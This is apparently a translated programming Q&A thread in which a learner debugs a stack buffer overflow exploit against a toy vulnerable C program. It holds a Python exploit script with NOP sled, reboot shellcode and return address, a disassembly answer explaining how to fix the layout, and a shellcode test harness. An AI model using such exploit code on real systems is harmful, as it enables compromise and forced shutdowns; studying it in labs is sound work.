我已经阅读了许多文章和示例,但是我不知道该怎么办。因此,我想为此漏洞程序测试shellcode:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
运行我的shellcode(强制重启)的脚本:
#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip
在这里您可以看到我的shellcode已正确加载:
esp中的寄存器
我的寄信人地址是:0xbffff170。那么为什么我的程序无法正常工作?请帮我
答案 0 :(得分:2)
因此,根据我的计算,这就是您的shellcode所执行的操作(此处为Intel Assembly语法):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
在0xbffff1b8
发生了分段错误,尽管您可以看到操作码完全有效。那么会发生什么呢?让我们看看...
您可能会注意到有很多push
正在进行中。所有这些push
都会覆盖调用堆栈中的数据。准确地说,总共有34个字节。
是的,存储shellcode本身的调用堆栈是...连接点吗? Shellcode会覆盖自身并销毁自己的代码。它开始正常,但是到了0xbffff1b8
时,有效的代码就不再存在了,因为它已经被其他东西完全覆盖了。
您需要确保padding
和eip
的长度等于或大于34,以使shellcode在开始覆盖自己的代码之前具有足够的堆栈空间来工作。
也就是说,padding
必须至少长18个字节。
将nopsled
的长度减少32个字节,只是为了使其宽敞,然后将这些字节传输到padding
。这应该为shellcode保留足够的堆栈空间,以便在不破坏自身的情况下完成任务。
并且由于eip
地址当前是Shellcode开始之前的44个字节,因此无需对其进行调整。
还需要注意其他事项,首先,一旦shellcode运行完成,它就不再关心接下来会发生什么。这意味着即使在按预期方式工作时,该程序也会在调用完重新启动后崩溃。
此外,/sbin/reboot
可能需要root访问权限才能工作。如果此进程未以root用户身份运行,则不会重新启动(它只会崩溃)。
答案 1 :(得分:0)
@Havenard我不知道我在做什么错。我已经修改了我的代码,所以现在有24个字节的nospled,36个字节的shellcode,44个字节的padding和返回地址。如您所见:
我在root帐户上,因此它应该可以工作。当我使用shell-strom中的代码时,它将正常地重新启动计算机。我的意思是,当我以常规程序编译并运行以下代码时:
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
"\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
"\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}